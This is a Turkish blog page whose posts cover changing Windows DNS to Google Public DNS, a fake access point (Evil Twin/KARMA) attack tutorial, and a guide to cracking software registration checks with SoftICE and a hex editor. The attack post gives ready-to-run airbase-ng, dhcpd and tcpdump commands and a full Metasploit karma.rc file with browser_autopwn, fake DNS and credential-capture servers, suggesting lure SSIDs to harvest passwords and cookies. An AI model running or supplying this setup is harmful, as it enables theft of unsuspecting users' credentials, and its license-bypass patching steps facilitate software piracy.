Trending Topic

Untitled Document
vatoz etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
vatoz etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

14 Haziran 2016 Salı

İnternet Hızı Arttırma : Google DNS


İnternet Hızı Arttırma

İnterneti Surf, Video İzleme ve İçerik indirme gibi bir çok amaç olarak kullanırız. İnternetimizin hızı servis bant genişliğimize göre yüksek hızda indirme ve yükleme olarak değişir. Tabii bant genişliğinize itimat etmek yüksek hızda internet için çok yardımcı olmayabilir. DNS sunucunuzun hızı ayrıca yüksek hızda internetiniz için büyük bir rol oynamaktadır. Başlangıçta makinenizde DHCP ‘den otomatik alınan standart DNS ve ISP ayarlarınız bulunmaktadır. DNS ayarlarınızı, Google public DNS olarak ayarlamanız internet hızınızı arttırmanız için size yardımcı olabilmektedir. Girmek istediğiniz websayfalarınız daha hızlı yüklendiği gibi Youtube üzerinde öncekinden kolayca bir şekilde videoları izleyebilirsiniz.
İnternet Hızı Arttırma nasıl mümkün şimdi burada daha basit adımlarla bu ayarları nasıl yapacağınızı gösterelim.

DNS ayarlarınızı Google Public DNS olarak ayarlama

▶ Denetim Masasına gidin
▶ Ağ ve İnternet > Ağ ve Paylaşım Merkezi > Bağdaştırıcı Ayarlarını Değiştirin
Ağ Paylaşım Merkezi
▶ Google Public DNS ‘i ayarlamak istediğiniz bağlantı noktasını seçin: Örnek olarak;
▶ Değiştirmek istediğiniz Wireless Bağlantı noktasına çift tıklayıp daha sonra Özellikler ‘e tıklayın.
Ağ Özellikleri

▶ Eğer sizden Administator şifresi isteyerek doğrulama talep edilirse, lütfen şifrenizi girerek doğrulamayı yapınız.
▶ “Ağ İletişimi” tabında yer alan “Internet Protokolü Sürüm 4 (TCP/IPv4)” seçeneğine çift tıklayarak “Internet Protokolü Sürüm 4 (TCP/IPv4) Özellikleri” ne  geçiş yapınız.
TCP IPv4 İnternet Protokolü
▶ DNS ayarlarınızı resimdeki gördüğünüz üzere yapılandırınız.
▶ IPv4 için Tercih edilen DNS sunucusu : 8.8.8.8 ve Diğer DNS sunucusu: 8.8.4.4 olarak değiştiriniz.
▶ Şimdide “İnternet Protokolü Sürüm 6 (TCP/IPv6)” seçeneğine çift tıklayarak “İnternet Protokolü Sürüm 6 (TCP/IPv6) Özellikleri” ne geçiş yapınız.
▶ IPv6 için Tercih edilen DNS sunucusu : 2001:4860:4860::8888 ve Diğer DNS sunucusu: 2001:4860:4860::8844 olarak değiştiriniz.
İnternet Protokolü TCP IPv6 Özellikleri
▶ Bağlantınıza sağ tıklayıp önce “Devre Dışı Bırak” sonra “Etkinleştir” diyerek bağlantınızı yeniden başlatın.
▶ Ayarlarınızın doğru çalışıp çalışmadığını kontrol edin.
▶ Buraya tıklayarak  kontrol ediniz.
Ben internet hızı arttırma konusunda Upload (Yükleme) hızında değişim yakaladım. Demek ki Google Public DNS ‘i Youtube ‘a erişim haricinde farklı konularda da kullanabiliyormuşuz. Umarım sizdede işe yarar bir değişim gözükür. 

13 Haziran 2016 Pazartesi

Sahte AP yayını, kurum isimleriyle veya insanların ilgisini çekebilecek bir SSID’yle bir kablosuz ağ yayını yapmayı ifade eder. Bir nevi sosyal mühendislik saldırısı olan bu atakta kullanıcılar ağa bağlanır ve internete çıkarlar. Bütün trafikleri sahte AP üzerinden geçtiği için arp zehirleme, dns zehirleme gibi mitm saldırıları veya oturum çalmak için sidejacking ataklar yapmak mümkündür.
Bu atak bazen Evil Twin ismiyle de anılır. Zaten var olan hedef AP’nin tüm özellikleri saldırgan tarafından tespit edilir ve bu özelliklerle gerçek AP’den daha güçlü bir yayın yapılarak kullanıcıların bağlanması beklenir.
Bu amaçla kullanılacak araç easy-creds’tir. Bu araç aslında diğer bir çok aracı isteğimiz yönde yapılandırır ve işleri çok kolaylaştırır. Gerekli olan araçların listesi şöyledir:

* screen
* freeradius (with wpe patches)
* hamster
* ferret
* sslstrip
* dsniff
* urlsnarf
* metasploit
* airbase-ng
* airodump-ng
* hostapd
* mdk3
* ipcalc
* asleap

Bunların bir çoğu halihazırda Kali üzerinde yüklüdür. Olmayan araçların kurulumu için github sayfası yardımcı olabilir.

unzip master.zip
./installer.sh

ile indirilir. Zip dosyası çıkartılır ve Bash dosyası çalıştırılır. Kurulum adımları takip edilir ve kurulum tamamlanır. easy-creds /opt dizini altına kurulur. Direk olarak

easy-creds
ile çağırılır. Aşağıdaki seçenekleri bize sunar.

1.  Prerequisites & Configurations
2.  Poisoning Attacks
3.  FakeAP Attacks
4.  Data Review
5.  Exit
q.  Quit current poisoning session
Choice:

Sahte AP yayını için sırasıyla
3. FakeAP Attacks
1. FakeAP Attack Static
seçilir.

Would you like to include a sidejacking attack? [y/N]: N

1. soruya N(No=Hayır) yazılır ya da enter tuşuyla geçilir.
2. adımda internete bağlı arayüzü sorar, eğer Kaliyi sanal makine üzerinde kullanıyorsak buna muhtemelen eth0 yazılır. Örnek: eth0
3. adımda sahte yayını yapılacağı arayüzü sorar; wlan0, wlan1 gibi. Örnek: wlan1
4. adımda sahte AP yayını için SSID’yi sorar. Burada kurum adı veya FreeWifi gibi insanların ilgisini çekebilecek bir SSID girilir. Örnek: TTNET WiFi
5. adımda kanal numarası girilir. 1, 6, 11 tercih edilir. Örnek: 6
6. adımda easy-creds wlan1 arayüzünü monitor moda geçirir ve bunu yazarız. Örnek:mon0
7. adımda MAC adresi değiştirmek istiyor musun diye sorar. Örnek: N
8. adımda kurban kullanıcıların bağlanacağı kablosuz arayüz belirtilir. Bu arayüze gelen trafik internetin olduğu arayüze(eth0) köprülenecektir. Örnek: at0
9. adımda kullanıcılara verilecek IP için DHCP konfigürasyon dosyası var mı diye sorar. N tercih edilir. Örnek: N
10. adımda kullanıcıların hangi subnetten IP alacağı belirtilir. Örnek: 10.0.0.0/24
Not: eğer dhcp’nin başlatılamadığı ile ilgili bir hata alınıyorsa easy-creds.sh dosyası açılarak 731. satırda dhcpd3, dhcpd ile değiştirilebilir.
11. adımda DNS sunucusu girilir. Örnek: 192.168.2.1(Modem IP’si)
Böylece easy-creds Airbase-ng’yi çalıştırarak yayın başlar. Sonra DMESG, SSLStrrip, ettercap, URL snaff ve dnsiff küçük pencerelerde açılır. easy-creds’de başlangıçtaki menüsüne döner.

Bir kullanıcı ağa bağlandığında Airbase-ng penceresinde şu şekilde görülür.


Yakalanan verileri görüntülemek için 4. Data Review seçilir ve hangi aracın çıktısı görüntülenmek isteniyorsa o numara girilir. Örnek: 3.
easy-creds bize log dosyasının yerini gösterir ve bize tam yolu girmemizi ister.

Ettercap logs in current log folder:
/root/easy-creds-2014-07-20-1424/ettercap2014-07-20-1425.eci
Enter the full path to your ettercap.eci log file: /root/easy-creds-2014-07-20-1424/ettercap2014-07-20-1425.eci

Kopyala – yapıştır yapılarak yol belirtildiğinde aşağıdaki gibi küçük bir pencere açılır ve URL,kullanıcı adı, parola bilgisi listelenir.

Karmasploit

İlk olarak KARMA ismiyle ortaya çıkan Karmetasploit, sahte AP yayını yaparak istemcilerin bağlandıkları her isteğe cevap vermeyi amaçlıyordu. Sahte AP’ye bağlanan istemcinin web, FTP, DNS gibi servisler için her isteğine metasploitin halihazırda yüklü olan modülleriyle cevap verilir. Ancak burada KARMA’nın sahte AP yayını yapmaktan çok önemli bir farkı vardır. Bilgisayarlar Probe Requestler ile daha önce başarıyla bağlandıkları AP’lerin SSIDleri için yayın yaparlar. Normal şartlarda bilgisayarlar daha önce bağlandığı(güvendiği) bir ağın, etrafta daha kaliteli yayın yaptığını farkederse otomatik olarak ona bağlanır. KARMA ise işe bu noktada dahil olur. Probe Requestlerde yer alan her SSID için Beacon frameler yayınlar. Eğer birisi etrafta KARMA ile ava çıktıysa daha önce bağlanılan bütün AP’ler yayındaymış gibi görülebilir. Bunlardan herhangi birisine bağlanılmaya çalışıldığında ise ağ şifreli gözükse dahi sahte AP’e bağlanılır.

Saldırı için öncelikle DHCP servisi yapılandırılmalıdır. Bunun için aşağıdaki değerler /etc/dhcp/dhcpd.conf dosyası içine yazılır. (locate dhcpd.conf komutu ile dosyanın nerede bulunduğuna dair fikir edinilebilir.)

default-lease-time 60;
max-lease-time 72;

ddns-update-style none;

authoritative;

log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {
 range 10.0.0.100 10.0.0.254;
 option routers 10.0.0.1;
 option domain-name-servers 10.0.0.1;
}

Sahte AP yayını yapılacak arayüz monitor moda geçirilir

airmon-ng start wlan1

Ardından airbase-ng aracı ile yayına başlanır. BGA_Wifi yerine istenilen SSID yazılabilir.

airbase-ng -P -C 30 -e “BGA_WiFi” -v mon0

Airbase-ng default olarak at0 diye bir arayüz oluşturacaktır. Bu arayüz için IP ve ağ maskesi verilir.

ifconfig at0 up 10.0.0.1 netmask 255.255.255.0

Bağlanacak kullanıcılara IP verebilmek için dhcpd biraz önce oluşturulan dhcpd.conf dosyası ile yapılandırılır.

dhcpd -cf /etc/dhcp/dhcpd.conf at0

tcpdump ile at0 ağ arayüzüne gelen tüm trafik yakala dosyasına kaydedilebilir.

tcpdump -tttnn -i at0 -w yakala

Ve son olarak içinde metasploit modülleri ve gerekli ayarlar bulunan karma.rc dosyası msfconsole tarafından okutulur.

msfconsole -r karma.rc

karma.rc dosya içeriği aşağıdaki gibidir. Bütün servisler(pop3(s),imap(s),ftp,smtp,http(s),dns) yerine sadece belirli servislerde çalıştırılabilir.

use auxiliary/server/browser_autopwn
setg AUTOPWN_HOST 10.0.0.1
setg AUTOPWN_PORT 55550
setg AUTOPWN_URI /ads
set LHOST 10.0.0.1
set LPORT 45000
set SRVPORT 55550
set URIPATH /ads
run
use auxiliary/server/capture/pop3
set SRVPORT 110
set SSL false
run
use auxiliary/server/capture/pop3
set SRVPORT 995
set SSL true
run
use auxiliary/server/capture/ftp
run
use auxiliary/server/capture/imap
set SSL false
set SRVPORT 143
run
use auxiliary/server/capture/imap
set SSL true
set SRVPORT 993
run
use auxiliary/server/capture/smtp
set SSL false
set SRVPORT 25
run
use auxiliary/server/capture/smtp
set SSL true
set SRVPORT 465
run
use auxiliary/server/fakedns
unset TARGETHOST
set SRVPORT 5353
run
use auxiliary/server/fakedns
unset TARGETHOST
set SRVPORT 53
run
use auxiliary/server/capture/http
set SRVPORT 80
set SSL false
run
use auxiliary/server/capture/http
set SRVPORT 8080
set SSL false
run
use auxiliary/server/capture/http
set SRVPORT 443
set SSL true
run
use auxiliary/server/capture/http
set SRVPORT 8443
set SSL true
run

airbase-ng başlatıldğında şöyle bir çıktı verir

root@kali:/etc/dhcp# airbase-ng -P -C 30 -e “BGA_WiFi” -v mon0
20:32:44  Created tap interface at0
20:32:44  Trying to set MTU on at0 to 1500
20:32:44  Trying to set MTU on mon0 to 1800
20:32:44  Access Point with BSSID A0:F3:C1:27:BF:E8 started.
Error: Got channel -1, expected a value > 0.
20:33:07  Got broadcast probe request from 00:23:08:E9:B4:DF
20:33:07  Got broadcast probe request from 00:23:08:E9:B4:DF
..

Aşağıdaki 2 ekran görüntüsünde yer alan bütün SSID’ler sahtedir. Hiçbirisi civarda yayın yapmamaktadır.


Sahte AP’ye bir istemci bağlandığında aşağıdaki gibi bir çıktı verir.


Örnek olarak yahoo’ya erişilmeye çalışıldığında IP olarak 10.0.0.1 görülmekte ve farklı bir sayfa gelmektedir.


Metasploit tüm istekleri takip eder.

Bunların arasında cookie bilgileride vardır.



Adım Adım Cracking

Bir programı kırmaya yada tersine çevirmeye (reverse) karar verdiğinizde eğer maksadınız , programa bedavadan sahip olmaksa bu işten şimdiden vazgeçin inanın ki bu kadar uğraşmaya değmez çünkü o programı mutlaka birileri zaten kırmıştır ve siz onun crack’ini internette kolaylıkla bulabilirsiniz hatta full versiyonunu da bulmanız mümkün olabilir. Eğer , ben kullandığım programların benden habersiz ne yaptıklarını bilmek istiyorum diyorsanız ve herşeyin kontrolüm altında olmasını istiyorum diyorsanız devam edin. Demo programların kırılmasını örnek olarak vermemiz ise sadece bir araçtır ama kesinlikle bir amaç değildir , demo programlardaki nag screen ( programın demo olduğuna dair uyarı ekranı) , seri numaralar , tarihsel ve rakamsal kısıtlamalar iyi birer örnek teşkil ettiğinden yazılarımda kullanılmaktadır. 
Crackerlar ve programcılar arasında karşılıklı bir yarış vardır , programcılar yeni bir koruma geliştirir crackerlar onu kırar , programcılar daha yeni bir koruma geliştirir ve asla kırılamayacağını idda eder , crackerlar yeniden kırar ve bu sefer programcıları tiye alırlar , programcılar buna çok kızarlar ve artık programlarının içine sadece kırmaya çalışan crackerların farkedeceği türden mesajlar bırakırlar ( PleasefollowmeMRCracker adında bir fonksiyon buna bir örnek) bu iş böylece sürüp gider ;ama asla kırılamayacağı iddia edilen neredeyse tüm programlar her zaman kırılmıştır. Yani galip gelen taraf hep cracker’lardır. Neyse şimdilik bu konuya burada ara veriyorum. 

Bir programı kırmak için onun dissasemble edilmiş koduna ihtiyacınız vardır , birincisi ya bir dissasembler programı kullanarak o programın dead list denilen ( çalışır vaziyette olmayan bir exenin içeriği) olan assembly kodunu elde edersiniz yada ikinci yol olan debugger kullanarak live(canlı ; yani o anda çalışan ve cpu’da işlenen assembly kodu)olarak bu programın içeriğini görüntüleyebilirsiniz. Birinci yöntem daha uzun süre gerektirir , çünkü tüm exe analiz edilip içinde geçen tüm jump ve call komutları için referans açıklamaları oluşturmak gerekir, diğer yöntem ise daha basittir , sadece o anda işlenen kodun birkaç satır öncesi ve sonrası da dahil olmak üzere görüntülenir . Yeni başlayanlar için birinci yol daha kolay ve cazip gelebilir , çünkü bu yöntemle assembly kodlarının yanında daha fazla açıklama vardır ve bir altyordamın nerelerden çağrıldığını ve hangi adresleri yada değişkenleri kullandığını daha açık bir şekilde görebilirsiniz , ama ben bir an önce kırayım şu programı diyorsanız debugger kullanmak daha işinize gelicektir , bunun birinci sebebi disassembler programların exe’yi disassemble etmek için harcadığı zamandan kurtulmuş olacaksınız ikinci sebebi ise breakpoint (Durak noktası) koymadaki kolaylıktır. Debugger kullanarak daha dinamik breakpoint’lar koyma şansına sahipsiniz . Örnek vermek gerekirse: Disassembler olarak Wdasm programını ve Debugger olarak da Softice programını ele alalım. Önümüzde bir program var ve registiration olanağı var , bizden bir kayıt numarası (programın parası ödendikten sonra size yollanan şifre) istiyor , birinci yol ile yani disassembler ile kırmamız için bu programın exe’sini disassemble etmemiz gerekiyor , bu en azından 10 dakikamızı alıcaktır. Daha sonra programın kullandığı windows API’lerinin listesinden getwindowtexta fonksiyonunu arayıp tümüne breakpoint koyma şansımız var ama bunun için fonksiyonun geçtiği herbir satıra listeden çift tıklayarak gelip breakpoint olarak işaretlememiz gerekiyor bu da en azından 5 dakikamızı alıyor , ve programı çalıştırıyoruz (aslında burada wdasm programının debugger özelliğini kullanmış oluyoruz aksi halde işimiz çok daha uzun sürer) .Program çalışmaya başladıktan sonra getwindowtexta fonksiyonunu çağıran her breakpoint’te duraklayacağız , çünkü biz breakpointları koyarken hangisinin neredekine ait olduğunu bulmamız zor olacağından biz tümüne koyduk ve bu yüzden de bayağı vakit kaybedip istediğimiz registiration ekranındaki geçen getwindowtexta fonksiyonuna ulaşabildik. Buraya kadar en azından 30 – 40 dakika vaktimizi aldı , bundan sonra ise disassembler ekranındaki satırları rahatça inceleyip gerekli kodu , algortimayı yada patch uygulayacağımız noktayı bulduk. Şimdi aynı programı softice ile kıracağımızı düşünelim , yapacağımız çok basit programı çalıştırıp registiration ekranına geliyoruz uydurma bir şifre yazıp OK tuşuna yada bunun benzeri tuşa basmadan evvel Softice programına atlıyoruz ctrl+D ile ; şimdi sıra breakpoint’u koymaya geldi bpx getwindowtexta yazıp enter’a basıyoruz , ve tekrar programımıza dönüyoruz şimdi OK tuşuna yada herneyse o tuşa basıyoruz , işte! Softice’ın içindeyiz bundan sonrası ise beş dakikamızı alır ve registiration kodunu yada patch uygulayacağımız noktayı tespit ediyoruz . İşte bu kadar bu yöntem ise en fazla 10 dakikamızı aldı. 

Tabii ki disassembler programların da çok işe yaradığı zamanlar yok değil mesela bazı programları disassemble ettikten sonra programın içinde geçen textlere ait referans satırlarına daha kolay ulaşıp bazen debuggerda çok vaktimizi alabilecek crackleri çok daha kısa bir zamanda gerçekleştirmemiz de mümkün olabiliyor . Bilhassa debugger ile uğraşıp ta bir türlü istediğiniz API ye denk gelen bir breakpoint bulamadığınızda . 

Şimdilik bu konuda yazıcaklarım bu kadar ilerki aylarda bu konunda ayrıntılarına gireceğiz mesela debugger ile breakpoint’u bulduktan sonra crack uygulamamız gereken noktayı nasıl tespit edeceğimizi ve bunun hakkında ipuçları .

Gelelim ikinci konumuza yani kırarken kullandığımız araçlar ; tahmin ettiğiniz gibi softice debugger olarak , wdasm disassembler olarak ( ben bunu genelde TR-Scene deki yazılarım için kullanıyorum) , hexworkshop hexeditör olarak ve patch uygulamak için , pcom yada herhangi bir c++ yada pascal derleyici de crack yada keymaker hazırlamak için . 

Yine bana gelen mailler içinde sıkça sorulan bir soru breakpoint ların uygulanamaması hakkında , yani birçok okuyucu bpx getwindowtexta yazdığında hata mesajı aldığını yazıyor . Bunun sebebi softice ‘ın bu API den habersiz olması , peki nasıl haberi olacak ? Softice programını ilk kurduğunuzda yapmanız gereken birkaç şey var yani benim size tavsiye edebileceğim , 1- Symbol loader’a girip edit menüsünden Softice initialization settings yazan yere tıklayıp , initialization string yazan yere x; den sonra şunları eklemeniz lines 40; wd; wr; wc 20; code on; yani string şöyle görünmeli’ X;lines 40;wd;wr;wc 20 ;code on; ‘ buradaki 40 ve 20 rakamlarını kullandığınız ekran çözünürlüğüne göre ayarlayabilirsiniz , code on komutu assembly komutların yanında hexedecimal olarak makine kodlarının da yer almasını sağlıyacak bu da bize patch hazırlamakta lazım olacak . 2-winice.dat dosyasını notdefteri ile açıp başında EXP ibaresi olan tüm satırların önündeki ; ( noktalı virgül ) işaretlerini kaldırmanız gerekiyor işte böylece softice windows API lerinden haberdar olacak , ayrıca softice da iken başını hatırladığınız bir API yi bulma için exp kmoutunu kullanabilrisiniz mesela ‘exp getwindow’ komutu bize getwindow ile başlayan tüm API leri listeleycektir. 

Peki softice ile patch uygulayacağımız nktayı bulduktan sonra ne yapacağız diyorsanız işte burda hexeditörün kullanımı devreye giriyor , diyelimki jz xxxx:xxxx olan bir komutu jnz yada jmp xxxx:xxxx yaptığımızda programın çalışacağını tespit ettik , o zaman hemen elimize bir kağıt kalem alıp bu satırdan bir yada iki satır evvelinden başlayarak bir yada iki satır sonrasına kadar olan komutların hexedecimal formattaki makine kodlarını yazmaya başlayalım (yukarıda bahsettiğim code on komutu bunları görmemizi sağlıyacak ) , not alma işlemimiz bittikten sonra Hexworkshop programı ile yada herhangi bir hexeditör ile bu exe yada dll dosyasını açıyoruz ve az evvel not aldığımız hex kodları bu dosya içinde tümünü olmak üzere aratalım , büyük bir ihtimalle bir yerde bulacaktır bu kodları işte burası bizim crack’i uygulayacağımız nokta , ister bu noktanın ofset adresini hexworkshop tan okuyup bir yere yazarak c++ yada pcom gibi basit bir derleyici ile gerekli değişikliği yapacak bir crack yazabiliriz yada daha hexworkshop’ta iken istediğimiz kodu değiştirebiliriz. Böylece crack’imizi sabit bir hale getirmiş olduk .

Aynı şekilde crack uygulayacağımız noktayı wdasm programından da elde etmemiz mümkün , dikkat ederseniz wdasm programın en altında bulunan status bar ‘da o anda olduğumuz satırın ofset adresi yer alır. 

İşte adım adım bir programın crack edilme işlemi bu şekilde gerçekleşiyor . Bu arada bilmeniz gereken birkaç husus daha var mesela op kod denilen makine dili komutların karşılığı yani softice da iken assembly kodların sol tarafında görülen hexedecimal rakamların anlamları , biraz çalışma ile bize lazım olacak bu op kodları ezberlemek fazla zamanınızı almayacaktır.Yada internetten intel op codes olarak arattıp bu kodların tümünü içeren dokümalara ulaşmanız da o kadar zor değil . 
//DENEME